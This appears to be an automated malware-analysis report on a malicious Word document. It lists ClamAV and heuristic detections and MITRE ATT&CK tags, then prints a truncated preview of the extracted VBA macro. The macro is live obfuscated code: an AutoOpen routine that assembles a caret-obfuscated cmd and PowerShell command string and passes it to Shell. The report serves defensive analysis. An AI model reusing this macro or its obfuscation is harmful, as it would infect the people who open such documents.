MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon opening. The macro is heavily obfuscated and truncated, but the presence of the AutoOpen macro and the ClamAV detection strongly suggest it's designed to download and execute a secondary payload. The embedded URL was confirmed as benign, so no direct download IOC is available.
Heuristics 5
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ClamAV: Doc.Malware.Valyria-6923369-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-6923369-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7277 bytes |
SHA-256: 14b467a08a57bf65dab43c5b643b48b3a8ee5b1f56bb758d5e80ee14ddcd20b1 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iAMcrqldl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim CRGWUX()
ReDim CRGWUX(3)
CRGWUX(0) = MidB(nicJmE, 777, 239)
CRGWUX(1) = "AwPRPRMDzimv"
CRGWUX(2) = "zjPHVqF"
Dim hoEpK()
ReDim hoEpK(3)
hoEpK(0) = "sfKGAvWnPHdz"
hoEpK(1) = Left(VKSzjsfT, 172)
hoEpK(2) = MidB(ozmQLFwS, 504, 507)
Dim aAithu()
ReDim aAithu(4)
aAithu(0) = "pBwqh"
aAithu(1) = Right(qXcKkEDW, 737)
aAithu(2) = "XPkvuijwGp"
aAithu(3) = Right(WOmWk, 347)
Dim ozjjw()
ReDim ozjjw(4)
ozjjw(0) = MidB(rnOwij, 538, 535)
ozjjw(1) = "YwumUBBvsXG"
ozjjw(2) = Mid(vYzhQX, 479, 537)
ozjjw(3) = Right(mCXon, 733)
Dim YsFtkj()
ReDim YsFtkj(3)
YsFtkj(0) = Mid(fsnSSAPo, 408, 949)
YsFtkj(1) = Right(WjpWGOf, 223)
YsFtkj(2) = Right(TpDWtTK, 875)
zviTIRtJv (KeyString(7 + 0 + 2 + 1 + 57) + XjXIH + vkKKvMTzKqIwcv + JBlrOZAfq)
Dim ZzpVj()
ReDim ZzpVj(2)
ZzpVj(0) = Mid(zjlYfbtu, 651, 17)
ZzpVj(1) = MidB(KsaaKABr, 420, 734)
Dim dpDzb()
ReDim dpDzb(2)
dpDzb(0) = MidB(VrGjA, 637, 832)
dpDzb(1) = Right(AOwvzS, 93)
Dim zsllLR()
ReDim zsllLR(5)
zsllLR(0) = MidB(AqQLhQL, 306, 507)
zsllLR(1) = MidB(pipTjwj, 352, 732)
zsllLR(2) = Left(QSHEMhs, 120)
zsllLR(3) = Right(qYKZj, 613)
zsllLR(4) = MidB(QfjkC, 668, 402)
Dim jfUGw()
ReDim jfUGw(4)
jfUGw(0) = "wVUbFdMztdasz"
jfUGw(1) = Left(YIUwOpO, 963)
jfUGw(2) = "dKFPNBtLVwA"
jfUGw(3) = Left(fXjmwON, 143)
End Sub
Function zviTIRtJv(zZPiwBVwnjk As String)
Dim FdOuFT()
ReDim FdOuFT(2)
FdOuFT(0) = Left(jKhiLw, 997)
FdOuFT(1) = "FKkKfEJ"
Dim opwcT()
ReDim opwcT(3)
opwcT(0) = Mid(pjJMliQj, 482, 68)
opwcT(1) = Mid(jVMmrNjV, 385, 219)
opwcT(2) = Left(jXlAC, 133)
Dim hAjBj()
ReDim hAjBj(5)
hAjBj(0) = Mid(zrbmbOs, 205, 712)
hAjBj(1) = MidB(kpVwa, 96, 629)
hAjBj(2) = MidB(MwXkFzV, 919, 799)
hAjBj(3) = Right(MEkXDdkr, 689)
hAjBj(4) = Right(XJNAz, 101)
Shell@ zZPiwBVwnjk, CInt(msoBarTypeNormal)
Dim jlkiTU()
ReDim jlkiTU(3)
jlkiTU(0) = Left(FFwrkK, 42)
jlkiTU(1) = "jicwbP"
jlkiTU(2) = Right(zomAm, 525)
Dim LwnXz()
ReDim LwnXz(2)
LwnXz(0) = MidB(KYlms, 540, 403)
LwnXz(1) = "bQIVGf"
Dim JYZNOv()
ReDim JYZNOv(3)
JYZNOv(0) = "iSXqdPXTSY"
JYZNOv(1) = Left(SQUiKX, 503)
JYZNOv(2) = "lvvTivTi"
End Function
Attribute VB_Name = "nmJpjwp"
Function XjXIH()
Dim svKvGU()
ReDim svKvGU(4)
svKvGU(0) = MidB(ZQjGimMU, 569, 102)
svKvGU(1) = Left(jUuvIW, 262)
svKvGU(2) = MidB(bVFBTq, 528, 883)
svKvGU(3) = "WFfiFzXOHLur"
Dim zjErwH()
ReDim zjErwH(3)
zjErwH(0) = Left(PBNON, 740)
zjErwH(1) = Right(hFCiT, 420)
zjErwH(2) = "iaVkuNpjSvwmzj"
Dim WnAtV()
ReDim WnAtV(4)
WnAtV(0) = Mid(ntjKJFra, 989, 786)
WnAtV(1) = Right(rOIiGDtL, 679)
WnAtV(2) = MidB(SPboalw, 604, 831)
WnAtV(3) = Mid(cdmmcE, 698, 78)
Dim QbPkf()
ReDim QbPkf(3)
QbPkf(0) = Mid(dishcdv, 482, 138)
QbPkf(1) = Right(ojfNOlIt, 715)
QbPkf(2) = MidB(AHtzTnwc, 577, 158)
MUEtf = "md /V" + "^:^O/" + "C" + ChrW(4 + 1 + 4 + 2 + 23) + "^se^" + "t ^T^U" + "u= ^ ^ ^ ^" + " ^ " + "^ ^" + " ^ ^ ^ "
Dim zOUPvw()
ReDim zOUPvw(4)
zOUPvw(0) = Right(nittRTPQ, 325)
zOUPvw(1) = "sV"
zOUPvw(2) = Left(YZndWXjA, 217)
zOUPvw(3) = Mid(VBDGCE, 413, 232)
Dim jSzpMf()
ReDim jSzpMf(4)
jSzpMf(0) = Right(zruoz, 82)
jSzpMf(1) = Right(aZbqsY, 318)
jSzpMf(2) = MidB(cPXsONN, 223, 911)
jSzpMf(3) = "tcOGczRqThJQi"
Dim wZdudR()
ReDim wZdudR(4)
wZdudR(0) = MidB(OUdKfzG, 327, 429)
wZdudR(1) = MidB(TizPYmIB, 949, 661)
wZdudR(2) = "odoEC"
wZdudR(3) = Mid(acaoAtzn, 513, 36)
Dim jfcdiT()
ReDim jfcdiT(4)
jfcdiT(0) = "dwpiRTRp"
jfcdiT(1) = Right(fwtGcGU, 939)
jfcdiT(2) = "YCEjdLkCv"
jfcdiT(3) = "hkiQbSwRQ"
Rfjstd = "^}}^{hc^t" + "^ac^}^;^k^" + "aerb^;Hn" + "^" + "w$^ m" + "^et"
Dim KKwEzl()
ReDim KKwEzl(2)
KKwEzl(0) = Right(QZnVtfjS, 514)
KKwEzl(1) = Left(oGdBfovF, 367)
Dim czklw
... (truncated)
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